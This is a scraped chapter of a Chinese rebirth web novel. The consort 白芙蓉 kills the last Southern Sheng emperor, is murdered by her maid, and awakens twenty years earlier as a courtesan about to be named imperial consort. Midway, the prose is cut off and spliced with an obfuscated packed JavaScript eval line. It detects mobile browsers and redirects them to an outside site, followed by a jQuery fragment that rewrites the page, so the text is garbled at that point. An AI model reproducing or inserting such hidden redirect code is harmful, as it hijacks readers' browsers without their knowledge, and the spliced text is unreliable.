大盛国祚二百八十九年,最盛极一时,曾有诗云——
“九天阊阖开宫殿,万国衣冠拜冕旒。”
那时的诗人绝不会想到,那些穷极天上人间全数想象的华贵宫宇,仅仅因住进一位妖媚女子白芙蓉就随盛消亡。
更不会料得,此后昔日来朝的诸侯万国,无一不梦着称王称帝犹盛辉煌,竟偏偏个个亦皆拜倒于这位白芙蓉的罗裙之下。
短短二十载,悉数灭亡,最后仅剩蜀地仍存一南盛国摇摇欲坠。
南盛建德四年六月
成都大雨瓢泼,已经连下十日。
城墙夯土被雨水浸透,浑浊泥浆如溃烂的脓疮,沿着砖缝不断渗出。数百民夫佝偻在雨幕中,麻木地将土袋垒向被泡软的墙基。
他们中许多人并非不晓——对面将兵临城下的大军,已让四海九夷折服,还攻下楗尾堰完全扼住了成都城的咽喉。
更遑论,那主帅是被天下传颂为紫微星降世、注定还世间清宁太平的圣君封仁。
清宁太平……乱世中人谁不这般梦想?
可此刻,看着身后被南盛士兵刀枪抵住的妻儿老小,他们除了继续这徒劳的对抗,对抗无休止的雨,对抗这全天下皆翘首以盼的天命,又能如何?
恰如满城上下,悲戚惶恐,华清殿上的舞姬乐师也仍要被强逼着展露笑颜。
“陛下听着雨声心烦,舞乐再奏得响些。”
且听那殿上一句话轻飘飘落下,琵琶、箜篌、玉笛、编钟,数般乐声霎时烈,百千舞姬的胡旋拼命转着合上鼓点,竟将一首霓裳羽衣跳出战曲的风采。
吐出那句令的声音却浑不似他们紧张,透着股慵懒。
她不疾不徐地斟着酒,稳稳当当地将一杯又一杯的佳酿灌入南盛帝长孙谕的喉中,终于将长孙喻颤巍巍的身体渐渐安抚住。
酒暖和了连日大雨带来的寒凉。
长孙谕的声音虽仍抖着:“白姊姊,白姊姊,朕……朕若没有姊姊实不知该如何过活……”
但长孙谕晓得这抖不再是他听见楗尾堰战报时害怕的抖了,乃为看着眼前美人的迷醉。
醉卧美人膝,长孙谕的身子歪倒在那罗裙中央岂还能瞧到旁的?
唯看见,那顶他召集举国工匠、耗数年心血打造的金莲花冠,那身绣着九龙九凤、蟠踞千里江山的翟衣,仍比不得他白姊姊半分天仙貌,都显得凡俗至极。
好在他的白姊姊说:“陛下岂会没有臣妾呢?臣妾与陛下天长地久也是要在一处的。”
于是在美人怀中彻底醉倒前,长孙谕拼命抬着千斤重的眼皮,用尽最后一点力气攥紧美人手像她保证道:“天长地久无有尽,白姊姊放心,朕决不会学那玄宗皇……”
“自然。”
美人从善如流地应和,却在他阖眼刹那将一只手瞬时脱出,于头上拆下根簪子,金灿灿地没入他喉头,血淋淋地重新出来。
胜血艳丽的朱唇,贴近长孙谕尚有余温的耳廓,白芙蓉呵气如情人呢喃:“因为死的只能是陛下您啊。”
她对这个叫她姊姊的男人多少存几分情谊,叫他晕得失去知觉,方才动手。
可惜这几分也就区区几分,白芙蓉的一滴泪都换不来。
她使金簪杀人委实太熟练,连血都没溅出许多,落于她衣襟正如为裙上多添几朵芙蓉花蕊,毫不突兀。
又好比她面上些微岁月留下的痕迹,倾尽天下的绝色怎可能会被风霜血污所折损呢?
倒再添些,风韵妙趣。
白芙蓉掸落灰尘般将广袖一拂,长孙谕的尸首顺势从她膝上滚落,闷声砸在足畔金砖上。
她启唇:“换首乐奏吧,豫州封氏的新君世代清贵,雅正端方最为高洁,想来不会爱这些靡靡之音,且换首......呃!......”
千般娇媚、万分婉转的女声,不知是否平生头次叫得破了音,却同样也是最后一次了。
白芙蓉身旁的侍女琼花,将她杀人的手腕学得利落。
何况琼花使得的银簪刺,比金簪更锐利。
唇间朱色洇开,衣裙上的芙蓉花蕊晕开一片又是一片,白芙蓉连挣扎的机会都没有,一双玉眸尚来不及瞪出眼眶,就朝后仰倒于地,整个人都成好一朵货真价实的血芙蓉。
却不知,会否苍天嫌她此生作恶太多?
白芙蓉分明该痛痛快快转瞬,死成个同长孙谕一般的尸首,偏生周身已如尸僵般又硬又冰动弹不得,瞳孔涣散的眼眸仍未有人为她合上。
于是左眼残余的清明映出琼花俯身逼近,东施效颦般贴至她耳边道:“娘娘,清贵的新君不喜欢靡靡之音,自然更不会喜欢娘娘你啊。”
右眼灰翳还未蒙满视线,又瞥见她另一个侍女瑶花身旁突然出现了个男人,然后左右目光交叠,耳中“咔吧”一声,男人骨节粗粝的手一下把琼花的脖颈扼断。
琼花的脑仁“啪”坠到白芙蓉胸口上,同她一道与长孙谕三人的尸首叠成了个罗汉样,好不晦气。
再后,暴雨滂沱的成都城内,熊熊大火于华清殿中燃起。
每一个跑出华清殿的人,都不忘走前将烛台蜡油浇在白芙蓉身上,于烈焰噼啪爆裂中,纵声欢呼。
“妖妃死咯!妖妃死咯!妖妃死咯!”
“圣君来咯!圣君来咯!圣君来咯!”
白芙蓉不晓得自己凭何还没死掉。
只在那声声她死圣君至的欢呼中,不断由着琼花一句“新君不喜欢她”于耳蜗中反复刮擦,混着比琼花生得更为寡淡的瑶花,被拦腰提起救出火场时,裙裾掠过血浸地砖的悉索声。
烈火本该焚尽一切,偏压不住白芙蓉心头毒焰。
错了,错了,全错了!天下间焉能有不喜欢她,对她见死不救的男人?
直到,直到她想起,在建德四年这个年号存在的最后一天,白芙蓉想起她二十载前的一桩往事——
天寿元年,这位二十年后的天下共主封仁,不过大盛的一位御史大夫,他力阻圣人立她这青楼花魁出身的白芙蓉为妃未果,被囚死牢。
“轰隆!”
许是伴着雷鸣雨愈发大了,又许是再多不甘也无法再拖缓生命的流逝,天地间一道白芒乍现,白芙蓉的眼前终于彻底漆黑一片……
……
“轰隆隆!”
……
“轰隆隆隆!”
怎么,雷声还未停啊?
是,她白芙蓉是有眼无珠,一辈子到头不光没跟对过人,还一开始就把那最要紧的一个赢家得罪了,但也不至于毒焰焚完身心,死后还这么不得安宁吧?
茜纱帐内,拨步床上。
二八芳龄,肤若凝脂发如瀑的少女,被惨白的电闪正正照于面庞。
一张照不出半分瑕疵沟壑的面庞,眉不画而黛,唇不点而红,本阖着一双凤眸蓦地一抬翻了个白眼,居然都美不胜收。
……?
白芙蓉仿若察觉到一丝不同寻常之处,她既已死了,如何还能睁眼?
琉璃珠似的琥珀瞳仁,朝眼白中滑去。
倒未来得及目光落定,一声尖利女音插在隆隆雷鸣里,扎进她耳中。
“哟呵!白芙蓉终于舍得睁眼啦,雷打得这么响,硬赖着装睡干嘛啊?”
白芙蓉很久没听过这么刺耳的声音了,哪怕杀她的琼花,烧她的庸人们声线中也必然带着嫉妒与害怕,那是下位者们会发出的声音。
可现在她耳中里听到的声音,不知怎得居然带着些自上而下的轻蔑?
瞳仁一转,白芙蓉将目光投向声音的来处——
一个背着琴,打扮颇素净的女人。
青襦裙外堪堪批了件白纱。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315389|182970||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
白芙蓉眉头蹙了蹙,她容光绝代芳华虽从无须靠那些外在衣裳首饰添色,但白芙蓉还是不喜欢过于素净的打扮。
一是素色为白与她之名讳有所冲撞,二则瞧着便是副披麻戴孝的晦气模样。
难道人死后,看到听到的都会为最恼人的东西?
这想法刚从白芙蓉脑中划过,背琴女子等得不耐烦,对白芙蓉上手抓扯起来:“快起来,给我收拾了滚出去,把这花魁的屋子的还予我。”
少女间的拉扯胡闹,最常攻击得便是彼此的头发。
素衣女平素拨弄琴弦的几指上戴着硬质假甲,如此揪住白芙蓉发丝时,锐利长甲刮蹭过头皮格外痛些。
虽远无银簪穿心与烈火焚身,那样疼,却恰恰好足够将白芙蓉的头脑疼得清醒过来。
她惊悟到素衣女方才话中的“花魁”二字,往记忆深处搜刮一番,找出二十年前她初登天香楼一舞倾倒了大盛朝最后那位天寿皇帝,坐上花魁后封贵妃的过往。
好啊!
她本道苍天妒红颜叫她命薄,可莫非天道原亦怜她不甘,是令她重回天寿元年再活了一遭?
白芙蓉忆起没封妃前,楼里似乎是有几位没开眼的老人闹过些不服……不过多活二十年,已辗转君王侧的她,现下没太大兴趣将一个小小青楼记得太细致。
白芙蓉懒于回忆起素衣女的名讳,简简单单将头上挽得木簪子一取,往素衣女喉头一抵,马上闭掉了大半叽喳。
顿时,素衣女声音抖若筛糠:“你……你要干……干什么?”
“本……”白芙蓉按下本宫的自称,道:“待我离开天香楼后,你且去找别的姑娘玩你这争花魁的戏码,莫在我眼前恼人。”
言毕,白芙蓉便将素衣女直接打发了。
而后自个儿起身,坐到了梳妆台前。
白芙蓉端端瞧了瞧镜中人,啧啧,好一张无瑕饱满的面容,无需朱黛香粉,双颊白里透红活像只将将熟透、娇艳欲滴的蜜桃,再瞧一头青丝浓密,又瞧那体态娇俏。
唯有,眸中一对琉璃珠……
历经前世数载战乱恩怨,本该清澈的琥珀色,因神态难掩,终很难再呈现符合少女年岁的纯净,其上一双柳眉更不住往中间蹙。
白芙蓉的手攥紧了。
重生,或许她真得重生了。
可是,可是该如何才能不落得前世一般下场?
千头万绪,激得额角突突跳疼,白芙蓉打开窗户想透口气,未曾想刚撩开个窗缝,“哒哒哒”密密麻麻的脚步声挤进她屋子。
“白芙蓉!你疯了不成?
坊间皆道你已被满朝文武都打上妖媚惑主的名号,妈妈且还容情留你于这花魁房中住了这许久,可你瞧瞧圣人这月来过么?你还有接到恩客么?”
被白芙蓉赶走的素衣女领着天香楼的老鸨回来了,大抵说了白芙蓉方才用木簪所为,老鸨是带着楼里黑压压一片护院打手一同带来了。
“妈妈对你算是仁至义尽吧,你却敢出手伤清莲,好啊,她请你不动,那妈妈来请!”老鸨朝护院们挥了挥手,“把她押去伙房先打再关!”
白芙蓉上辈子杀人的手法练得再利落,拿一只木簪便想以一敌众,怕也难办,她却不慌不乱“呵”地笑出声:“可是妈妈,若圣人来了呢?”
此话一出,压来的一众倏地全顿了一下。
老鸨也愣了愣,随后却只当被戏耍,更加生气:“白芙蓉,你当真皮痒得开始说梦话……”
然听:“圣旨到!圣旨到!”
白芙蓉没有虚张声势,她撩开的一角窗,正巧瞥见抹狂风骤雨都没拦住的明黄。
旨意,马上于天香楼宣下。
【奉天承运皇帝诏曰:白氏芙蓉,灼其芳华,蕙问兰仪,国色天香,册曰贵妃,择日入宫。
钦此。】